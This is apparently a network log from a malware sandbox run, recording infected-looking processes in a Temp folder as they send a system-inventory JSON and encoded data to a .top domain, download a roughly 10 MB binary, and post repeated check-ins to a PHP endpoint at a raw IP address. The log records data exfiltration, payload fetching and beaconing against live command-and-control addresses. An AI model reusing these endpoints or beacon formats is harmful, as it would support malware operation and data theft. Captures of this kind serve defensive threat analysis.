Dec 18, 2024 11:47:55.009618998 CET	672	IN	Data Raw: e0 89 44 24 18 8b 1f 8d 74 24 3c 83 7e 10 00 74 0e 89 f1 6a 02 68 51 03 42 00 e8 92 00 00 00 8b 4f 08 8b 01 89 e5 ff 77 04 55 ff 50 08 8b 45 10 83 7d 14 10 72 03 8b 2c 24 89 f1 50 55 e8 6f 00 00 00 8b 44 24 14 83 f8 10 72 2c 8b 0c 24 8d 68 01 81 Data Ascii: D$t$<~tjhQBOwUPE}r,$PUoD$r,$hrQ) sF$UQ:WCWFC7L$1K^_[]USWVL$ ]U)959;$x
Dec 18, 2024 11:47:55.009717941 CET	1236	IN	Data Raw: c2 c1 e2 02 eb 05 ba 04 00 00 00 8b 06 8b 48 04 0b 54 0e 0c 31 c0 83 7c 0e 38 00 8d 0c 0e 0f 94 c0 c1 e0 02 09 d0 6a 00 50 e8 0f f7 ff ff 89 e1 e8 62 f6 ff ff 8b 4c 24 08 31 e1 e8 0d 06 00 00 89 f0 83 c4 0c 5e 5f c2 04 00 cc 53 57 56 83 ec 0c 0f Data Ascii: HT1\|8jPbL$1^_SWVt$WB1D$A0HOPW;VR OtPtjL$1^_[SWVt$WB1D$L$j\|dB$eBdPu3
Dec 18, 2024 11:47:55.009730101 CET	1236	IN	Data Raw: 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 37 38 00 00 83 c4 08 c7 06 c8 c5 41 00 89 f0 5e c2 04 00 cc c7 01 28 c1 41 00 83 c1 04 51 e8 7b 38 00 00 83 c4 04 c3 b8 80 64 42 00 c3 b9 b8 64 42 00 e8 96 04 00 00 68 4c b8 41 00 e8 ec 01 00 00 59 c3 Data Ascii: 1VVQP78A^(AQ{8dBdBhLAYhVAYh`AYeBhhjAYVWj3^YfBjVfBAihtAY_^jjhfBeBh~AeYeBiBhA
Dec 18, 2024 11:47:55.009742975 CET	1236	IN	Data Raw: 50 e8 df 24 00 00 59 c3 33 c0 57 8b f9 40 f0 0f c1 05 0c 58 42 00 75 19 56 be c0 64 42 00 56 e8 90 24 00 00 83 c6 18 59 81 fe 80 65 42 00 75 ee 5e 8b c7 5f c3 83 c8 ff f0 0f c1 05 0c 58 42 00 79 19 56 be c0 64 42 00 56 e8 7b 24 00 00 83 c6 18 59 Data Ascii: P$Y3W@XBuVdBV$YeBu^_XByVdBV{$YeBu^UQjYteBEAeBVWyp7Btj17B_^VeBV0Y5eBu^UVjjuYY
Dec 18, 2024 11:47:55.129379988 CET	1236	IN	Data Raw: 0c 8d 4d f4 ff 75 08 e8 91 00 00 00 68 04 43 42 00 8d 45 f4 50 e8 ab 28 00 00 cc 55 8b ec 56 ff 75 08 8b f1 e8 fa e6 ff ff c7 06 54 cb 41 00 8b c6 5e 5d c2 04 00 55 8b ec 56 8b f1 8d 46 04 c7 06 28 c1 41 00 50 e8 ba 2e 00 00 f6 45 08 01 59 74 0a Data Ascii: MuhCBEP(UVuTA^]UVF(AP.EYtjV8YY^]UQVuu`A^UVu`A^]UQVuuA^aaAB$AUEM#P+w]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49919	185.185.71.170	80	3220	C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:47:57.883663893 CET	12360	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 502431 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 31 38 38 37 34 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734518874", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 328 }, { "name": "csrss.exe", "pid": 412 }, { "name": "wininit.exe", "pid": 488 }, { "name": "csrss.exe", "pid": 496 }, { "name": "winlogon.exe", "pid": 560 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 652 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 868 }, { "name": "svchost.exe", "pid": 928 }, { "name": "dwm.exe", "pid": 996 }, { "name": "svchost.exe", "pid": 436 }, { "name": "svchost.exe", "pid": 376 }, { "name": "svchost.exe", "pid": 60 }, { "name": "svchost.exe", "pid": 9 [TRUNCATED]
Dec 18, 2024 11:47:58.003741980 CET	4944	OUT	Data Raw: 2f 5a 63 64 79 34 4a 43 58 73 4a 32 75 76 6c 5c 2f 69 50 39 6b 66 55 44 35 6b 5c 2f 67 48 78 78 6f 32 75 63 53 4e 46 6f 6e 69 32 44 5c 2f 68 44 4e 5a 6c 66 4f 36 4b 33 74 4e 51 6b 75 74 55 38 49 7a 4b 71 5a 52 37 37 56 5c 2f 45 58 68 73 53 53 4b Data Ascii: /Zcdy4JCXsJ2uvl\/iP9kfUD5k\/gHxxo2ucSNFoni2D\/hDNZlfO6K3tNQkutU8IzKqZR77V\/EXhsSSKGWyjEgSPzck8ZOCs0ahiK+PyOU2vZ\/21hYUqMl1nPF4GvmGCw0ErNzxmJw6trryy5fez7wC8QsljKeGw+W8Rwpq9X\/V\/GVK1eL+zCngczwuV5hi6ktVGGBwmKldWaTlHm+O6K7nxl8M\/iB8PniHjPwjrmgW9z
Dec 18, 2024 11:47:58.003781080 CET	2472	OUT	Data Raw: 39 5c 2f 77 44 35 7a 33 39 36 6d 2b 39 49 79 4f 38 61 65 59 65 49 5c 2f 77 44 58 39 75 66 38 6e 6b 55 52 48 64 47 38 32 7a 59 6e 2b 75 35 50 5c 2f 4c 78 39 50 36 5c 2f 7a 6f 32 76 4a 6a 65 6e 7a 39 63 5c 2f 2b 32 76 38 41 50 2b 6c 42 70 54 36 5c Data Ascii: 9\/wD5z396m+9IyO8aeYeI\/wDX9uf8nkURHdG82zYn+u5P\/Lx9P6\/zo2vJjenz9c\/+2v8AP+lBpT6\/IhbZ8mzzNnm+V9n\/AOW+D\/n1575o\/wBXsTf\/AKuK4l\/z9Mfp26U\/5\/Mf\/lmkh6x\/4UP\/AHU+d+Zf9aIP5e\/1oNCsg8uR9iHeew+y8\/bOf8\/5NGf3m90kR82\/m3H\/ACwx3\/r\/AJ4o2o+\/Yn
Dec 18, 2024 11:47:58.003878117 CET	4944	OUT	Data Raw: 2f 6a 46 66 6e 54 5c 2f 68 31 34 69 64 47 43 79 33 55 56 70 59 52 67 6e 47 5c 2f 37 5a 66 57 30 4d 36 6a 75 54 39 6c 61 64 73 44 71 46 50 51 5a 49 2b 42 6c 58 64 6e 74 69 76 36 39 2b 69 7a 68 4b 38 75 47 2b 4b 4d 37 78 46 57 74 57 71 35 6c 6e 31 Data Ascii: /jFfnT\/h14idGCy3UVpYRgnG\/7ZfW0M6juT9ladsDqFPQZI+BlXdntiv69+izhK8uG+KM7xFWtWq5ln1DBe0rVKlSUo5Xl9KqnF1JStBPM5Qio2inGUUlyn8I\/TOx+Hjxbwbw7haVChRyjhrE5h7LD0adKEJ5zmdajJSVKMU6ko5PCcnK82pxk2+ZEP7v\/ADmo6nZU7dPy\/wAP5Utf1IfxmR+X7\/p\/9enfP\/s\/rTqK
Dec 18, 2024 11:47:58.004081964 CET	4944	OUT	Data Raw: 30 58 5c 2f 72 6c 5c 2f 51 55 7a 35 32 39 76 30 5c 2f 38 41 72 30 47 67 73 6d 37 4f 37 5a 73 5c 2f 37 5a 59 5c 2f 7a 36 31 56 77 2b 4e 33 38 58 30 37 34 36 2b 76 58 32 7a 33 71 57 54 74 5c 2f 72 4f 5c 2f 39 4b 62 49 72 38 70 31 35 5c 2f 31 6e 2b Data Ascii: 0X\/rl\/QUz529v0\/8Ar0Ggsm7O7Zs\/7ZY\/z61Vw+N38X0746+vX2z3qWTt\/rO\/9KbIr8p15\/1n+f06\/wA6Dr535f18yvznfs\/7Z4\/cf\/q\/znNQfJ8\/+s7\/AE\/z\/THbNXPJz\/rCG\/l+lVpI\/vb\/AL\/Hp\/n64oNSH0RP+Wf+q\/z\/APq9uKYA7fdTzD9SP1qfa\/8Auc\/6v\/lv09s9ag8t\/k\/j
Dec 18, 2024 11:47:58.004194021 CET	4944	OUT	Data Raw: 71 4b 52 32 73 7a 51 69 37 6c 69 6a 6d 75 6c 67 6a 6c 6b 62 62 6e 7a 72 39 71 6e 78 44 6f 58 69 58 39 6b 66 39 71 33 55 66 44 32 73 36 58 72 75 6e 6a 77 42 34 6d 74 7a 66 36 52 66 32 32 70 57 4a 6e 54 34 66 65 48 35 4a 49 6b 76 4c 4f 53 61 33 6b Data Ascii: qKR2szQi7lijmulgjlkbbnzr9qnxDoXiX9kf9q3UfD2s6XrunjwB4mtzf6Rf22pWJnT4feH5JIkvLOSa3keNZY\/MCSNsZtrYcMo\/oDIMc6niBkeFwDqVMoqeJ2HzDDYidGpTr1sLic9p\/VZ1+aNPlhVoQwtZQnSg\/aSi7K6ivF4qwrp+F\/EtXHxo083peF+a4PE0YVadSnSxWH4dxUcVTouMp8zpVniaTnCpNckZK7Scj+
Dec 18, 2024 11:47:58.008321047 CET	2472	OUT	Data Raw: 61 5c 2f 38 41 58 39 33 70 6b 6d 66 4d 66 5c 2f 32 6e 2b 34 67 39 50 72 37 39 61 7a 4e 52 6b 65 7a 7a 44 76 7a 76 5c 2f 77 42 56 4c 5c 2f 38 41 4a 58 34 66 30 70 67 6b 4c 66 4f 6a 35 66 38 41 35 35 5c 2f 39 4f 2b 50 54 50 58 70 54 39 79 66 4f 6a Data Ascii: a\/8AX93pkmfMf\/2n+4g9Pr79azNRkezzDvzv\/wBVL\/8AJX4f0pgkLfOj5f8A55\/9O+PTPXpT9yfOjv8AJL9n\/wCWv\/k1\/TrUPzrv2J5f7v8A1cf\/AC2\/0rv+n+eaDoIZG3MiJl\/+PjH8v89\/y5Z5h+4ib\/3X9Px\/07HbHcD6TKvzbBlH\/wA\/6L9aJMssz\/u8+V5XP\/X1\/k9KDoK0nMbPsKeZwP6H8KPk
Dec 18, 2024 11:47:58.123667002 CET	4944	OUT	Data Raw: 34 6c 68 4d 71 45 78 4d 39 72 44 49 55 4b 6c 34 6f 32 4a 51 66 69 4f 46 38 47 5c 2f 6f 37 59 50 69 37 6b 6f 63 48 38 4a 5c 2f 36 79 56 73 48 4c 4e 49 35 58 57 6e 69 63 56 67 50 71 64 4f 76 54 6f 53 78 56 44 49 63 56 69 71 32 51 55 6f 77 72 31 4b Data Ascii: 4lhMqExM9rDIUKl4o2JQfiOF8G\/o7YPi7kocH8J\/6yVsHLNI5XWnicVgPqdOvToSxVDIcViq2QUowr1KVP9xgIThKcLRSlFv+jMZ4+\/SpzDgVyxHH3HX+qOGx9PJqmc4enhcFmf1\/E4bEYmngsTxNg8Fh+KK862GwuJqL6xmdSE4Uat5NxaPRpJoJvmmVFlxgkkseM4GTk4Hp25xzUJtbd\/8AVT49nxx\/jWv4R0PR\/Ft
Dec 18, 2024 11:47:58.123815060 CET	4944	OUT	Data Raw: 58 39 41 79 37 77 68 38 53 63 32 34 64 6f 63 56 35 64 77 6a 6d 65 4b 34 66 78 4e 47 4f 4a 77 2b 5a 55 33 68 56 43 74 68 5a 5a 6d 38 6c 6a 6a 4b 64 47 65 49 6a 69 70 59 4f 57 62 77 71 35 62 48 47 4b 67 38 4e 4c 47 34 66 46 59 64 56 58 56 77 6d 4a Data Ascii: X9Ay7wh8Sc24docV5dwjmeK4fxNGOJw+ZU3hVCthZZm8ljjKdGeIjipYOWbwq5bHGKg8NLG4fFYdVXVwmJjS3vDHinx\/8M\/iL4A+MXwo8Rx+FviV8MdWvdX8L6ld2UWo6bN\/aWnzaXquk6rZShlm0zW9Nmm0nUtqPJ\/Zt5exwp5sqSR\/pPB\/wWl\/4KBQwQxSeCP2QbqSKKON7mfwp8Y1nuHRArTzLbfE63tllmIMkgt7
Dec 18, 2024 11:47:58.123851061 CET	4944	OUT	Data Raw: 71 76 66 5c 2f 75 5c 2f 69 55 51 53 66 76 4f 66 2b 57 77 2b 30 53 5c 2f 38 41 50 44 5c 2f 6c 36 5c 2f 44 72 5c 2f 4c 38 52 54 50 4c 79 7a 2b 54 38 6e 2b 5c 2f 4c 36 38 5c 2f 35 5c 2f 77 41 4b 6d 2b 54 7a 45 5a 50 6b 5c 2f 64 5c 2f 38 74 50 38 41 Data Ascii: qvf\/u\/iUQSfvOf+Ww+0S\/8APD\/l6\/Dr\/L8RTPLyz+T8n+\/L68\/5\/wAKm+TzEZPk\/d\/8tP8AXxW\/P\/1\/p7VDIvmtv2RvmM\/u5M\/5\/wA+1Hv\/AN38QIf+Wb\/+ROn\/AG6df8\/jimfxbf8AXQ+b\/wA8v9Qev+fr3q55kzSOmcCST\/Vx\/wDLH6f55+opkjJ8\/wAn\/TKX\/D6+\/JqfZ+f4f8E6CtJG
Dec 18, 2024 11:47:58.170522928 CET	27192	OUT	Data Raw: 77 65 58 38 59 64 45 6b 38 51 58 48 67 50 78 64 72 30 48 68 71 50 34 57 5c 2f 45 4b 4a 37 6a 78 39 6f 5c 2f 78 59 54 77 6a 34 54 2b 47 79 36 33 4e 65 48 54 6f 44 34 7a 2b 46 70 6b 2b 4d 50 5c 2f 41 41 6d 4d 73 5a 30 54 77 37 35 58 5c 2f 43 76 74 Data Ascii: weX8YdEk8QXHgPxdr0HhqP4W\/EKJ7jx9o\/xYTwj4T+Gy63NeHToD4z+Fpk+MP\/AAmMsZ0Tw75X\/CvtSgl8ROtyPe4NI0OOMxJouleWV2MDZwO0ijPErujSS8MeZHY4JHSoF8J+DQ6yJ4f0S1kQhke30mwR0b1VlgDKecZUjrjvX6Fwr4G5xwLha2B4P46xmVYTMOJM74lzeisryzFPHYnOsbiMU8Iq2LwdatSwWW0q9LA5Z
Dec 18, 2024 11:48:00.737641096 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 18 Dec 2024 10:48:00 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 57 35 49 30 34 52 4a 67 38 48 38 7a 6d 78 39 67 31 37 33 34 35 31 38 38 38 30 Data Ascii: W5I04RJg8H8zmx9g1734518880

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49925	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:47:59.972187996 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 38 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016879001&unit=246122658369
Dec 18, 2024 11:48:01.745049953 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:48:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49928	185.185.71.170	80	3220	C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:01.102849960 CET	126	OUT	GET /WEIsmPfDcpBFJozngnYN1734366322?argument=W5I04RJg8H8zmx9g1734518880 HTTP/1.1 Host: home.twentytk20pn.top Accept: /
Dec 18, 2024 11:48:02.629292011 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 18 Dec 2024 10:48:02 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;" last-modified: Mon, 16 Dec 2024 16:25:22 GMT cache-control: no-cache etag: "1734366322.858812-10816560-3400407440" Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED] Data Ascii: Y<OQ~GG&g6XNGxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy\|-T9pFE"\mY"D7kamD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVFC:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00_W~W<"]::Uxw[\|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/iwo\I@$
Dec 18, 2024 11:48:02.629312992 CET	224	IN	Data Raw: f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 7e b6 98 46 90 01 62 04 56 b0 f0 70 df a4 19 39 28 eb a8 Data Ascii: .k}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y264#rGSL
Dec 18, 2024 11:48:02.629441977 CET	1236	IN	Data Raw: 5a 9a 9b 85 e6 db f7 f5 55 73 a5 27 d3 b4 54 e4 77 0d e7 83 22 4e c1 4d f8 e4 af 4c 0b ab 1a 54 ad 8d 16 6f af 43 78 89 39 0b bb 8c 4d ba 09 8b e5 dc 59 48 e6 45 66 4b 7d 51 80 62 76 3c 15 88 32 55 6c 9a 26 e5 6a d2 b3 03 36 54 bc f5 6d 5a 86 9c Data Ascii: ZUs'Tw"NMLToCx9MYHEfK}Qbv<2Ul&j6TmZJododF<J%^n?YBWg>{96fr]:,)&2/u\|!\|^X~qV(TkYqK#sgIfW=\|@
Dec 18, 2024 11:48:02.629498005 CET	1236	IN	Data Raw: 61 f7 f8 f3 fd 77 21 5f 29 8c ce 3f 9d 2d 90 92 87 6a 25 12 2a ff 4d 26 76 bd 71 86 ba ea 9c 89 13 01 98 9d 0e f3 98 18 94 4f 48 59 58 fa 41 d0 0a 1a c1 86 e0 75 a0 61 ec 3f c9 d1 c5 a8 35 9b 39 6c 22 0d c2 5c f7 0a 72 d9 cc a8 49 29 52 0a 1e 60 Data Ascii: aw!_)?-j%*M&vqOHYXAua?59l"\rI)R`]Pgg{_''VmA!!ICT0aWJ%rt,@k4M{F>#rM@d[P816\zncrSc
Dec 18, 2024 11:48:02.629509926 CET	1236	IN	Data Raw: de 94 9a b9 05 e2 22 53 b1 34 6d 3e af e5 be c2 be a5 d9 d2 98 61 ec 6d 1e 76 a9 d9 8b 95 47 da 2e 24 aa aa 52 b9 f9 e5 43 7b 82 ae 34 e5 4d 68 de 13 fb 1f 8f bc 44 8e 32 b7 b3 5f 61 f6 1b dc e0 73 07 be 09 c6 34 2d b0 c4 00 28 ea 59 e2 32 47 ca Data Ascii: "S4m>amvG.$RC{4MhD2_as4-(Y2GG,xyh[`\|hZ:zs;l=7ZGa\|cxgs.4VjHEO!ppU'c_^tu\&ByAOV<S&vFex8on2T7k'v"y(`dF
Dec 18, 2024 11:48:02.629523039 CET	1236	IN	Data Raw: f2 c0 82 16 f1 6b 0c a9 91 33 89 fc bd 10 25 32 90 22 64 4b 1b 92 0b 3f 7b 31 7c 0e 65 c8 0e 55 60 0a d1 80 4a 31 81 82 7b b1 74 ae 14 04 90 ba 37 09 ac 60 68 4b e6 14 da 7f 96 0c 64 ad a5 c7 fc 17 44 48 38 22 8c 71 19 43 eb fc fd 0f 33 6f 40 be Data Ascii: k3%2"dK?{1\|eU`J1{t7`hKdDH8"qC3o@'LW0rfq>Qr_sn%5u({4`zR!\|OjDT!e,Uy"6E[CyG7ov97b$,Zq]C{F[Y2Mov\0ObC
Dec 18, 2024 11:48:02.629642963 CET	1236	IN	Data Raw: 40 a5 1f 4f 95 9a 8b e0 bc 67 f6 67 41 91 95 bb 6b f0 ec 1f aa b9 89 b8 a2 22 d2 1d dd 8b 2e 3b 77 8b 06 19 4d 10 88 6a 43 d8 ce 00 45 c2 67 ac b8 bf 8f dd 12 6f cd 03 0b f0 88 45 d7 62 0a 3c 24 d8 73 b6 7d c1 b8 da a2 63 38 29 b7 e6 e1 71 7e 22 Data Ascii: @OggAk".;wMjCEgoEb<$s}c8)q~"cjQJh#V7pgcxy"]l~zi6(wLbLTY!cjz0qa{lZMpJ1d]NJNq%}=DEN
Dec 18, 2024 11:48:02.629657030 CET	1236	IN	Data Raw: e0 09 ea f0 b6 44 d0 83 b0 f3 f5 ad cc 13 ba 6e dd 63 d1 cb 2e 74 9b 94 f7 ed a9 45 6d 38 76 12 7b 4a 8b 05 24 99 e0 4f 22 72 30 9b d1 48 df e1 42 00 4a 3c e4 ce 66 22 5e 5f 9e 0a 4e 5f ab 13 28 dc 11 69 50 77 1b d8 a0 bb 9e 15 97 3a 95 25 21 5f Data Ascii: Dnc.tEm8v{J$O"r0HBJ<f"^_N_(iPw:%!_m2I^_}6@T Ui'K/"vV>tCoCdj@^vpF)u\;TU_?A{1}^3A+<6L`Mg3/NL
Dec 18, 2024 11:48:02.629781961 CET	1236	IN	Data Raw: 58 3f 21 25 9e bb e6 8b 05 1b 46 74 bf 5f b0 b1 31 4c fe 83 ed 76 9e 1d 2f dd 18 fe a2 93 40 8a ea 63 7e cd 2b d7 6e 8c e1 d3 ed f7 4e f9 99 f1 74 b4 cd 0b 57 3a f8 d1 38 cc 7e 14 b3 5d 0c 21 6e 3e 58 0b 36 e6 6b a4 ff 24 15 59 89 db bd a9 77 cf Data Ascii: X?!%Ft_1Lv/@c~+nNtW:8~]!n>X6k$Yw%ro4&)rL</'Q$1G1{%Gy]9yQH#-+A6I=Fzh8)~LyASkkQoS![<Y?h53)8Ql
Dec 18, 2024 11:48:02.629795074 CET	1236	IN	Data Raw: 48 17 6e 58 55 8a d9 f8 50 57 bb 1b a4 d4 08 a8 af 8d f4 32 e8 e0 2c 18 ac 16 cd f3 60 51 1c d1 77 89 5d 2b 51 52 48 09 4b 12 d7 de 36 71 e1 15 d3 af c1 a2 12 55 12 79 93 c9 f0 f0 86 22 89 73 8f eb b4 09 e4 6e 05 5c 4a c7 ed 27 3a 2c 7b a2 5b 67 Data Ascii: HnXUPW2,`Qw]+QRHK6qUy"sn\J':,{[g4sdbUZXaD_IBIG:JX7$vAiulee''>2kAlk=u0MK:Ihqx)84k #I.45H'm{r=?-d
Dec 18, 2024 11:48:02.749134064 CET	1236	IN	Data Raw: 32 a1 d0 7e ad 65 2c 79 4c c7 35 7b ce 48 b9 b6 35 82 6c bf 1f 8d 9e 8f 9d 82 75 63 d8 d7 f4 11 87 91 e3 4b 68 a7 24 2e b5 69 8e c7 cd d6 ba db ec e3 23 c4 c6 fc a3 31 be 9d 39 9b 7c 1d d8 10 d0 f2 f2 78 8d e0 95 2c e2 0b 5c 7a 29 13 10 89 51 1e Data Ascii: 2~e,yL5{H5lucKh$.i#19\|x,\z)QIRa# E}vt{1&(YS%j.CHoZ;.FJC4ud+5MkE(*<j)k"($@Yt\THW//cs(_gz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49935	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:03.488733053 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 11:48:04.827469110 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:48:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49946	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:06.465833902 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 18, 2024 11:48:07.795404911 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:48:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49953	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:09.609209061 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

